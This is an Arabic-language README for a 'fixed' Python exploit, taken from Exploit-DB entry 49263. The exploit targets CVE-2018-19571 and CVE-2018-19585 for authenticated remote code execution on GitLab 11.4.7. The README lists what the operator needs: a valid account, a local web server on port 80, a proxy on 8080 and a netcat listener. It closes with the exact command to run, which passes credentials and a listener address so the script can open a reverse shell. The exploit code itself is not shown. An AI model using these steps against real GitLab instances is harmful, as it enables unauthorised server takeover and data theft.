edb-49263-fixed - GitLab 11.4.7 - تنفيذ التعليمات البرمجية عن بُعد بعد المصادقة

نسخة مُصحَّحة من سكربت Python لاستغلال CVE-2018-19571 وCVE-2018-19585 (GitLab 11.4.7 - تنفيذ التعليمات البرمجية عن بُعد بعد المصادقة) المتوفرة على https://www.exploit-db.com/exploits/49263 (Python 3.9).

الاستخدام

عدِّل السكربت واستبدل عنوان الهدف الموجود فيه بعنوان الهدف الفعلي.

ضع في اعتبارك أيضًا أنه يجب عليك:

1. أن تمتلك حساب مستخدم صالح على مثيل Gitlab الهدف،
2. أن تشغّل خادم ويب (python) على المنفذ 80 في الدليل الذي يُنفَّذ منه السكربت،
3. أن يكون لديك خادم بروكسي نشط على المنفذ 8080 على جهازك (مثل BURP مع تعطيل خاصية الاعتراض؛ سيفشل تنفيذ السكربت دون إظهار أي خطأ إذا لم يكن هناك خادم بروكسي يعمل على المضيف المحلي أو إذا كان يرفض الاتصالات)، و
4. أن تُعدّ مستمع netcat على المنفذ المطلوب على جهازك.

ثم يُنفَّذ السكربت على النحو التالي:

python3 49263.py -U username -P password -l local-ip -p local-port-for-netcat-listener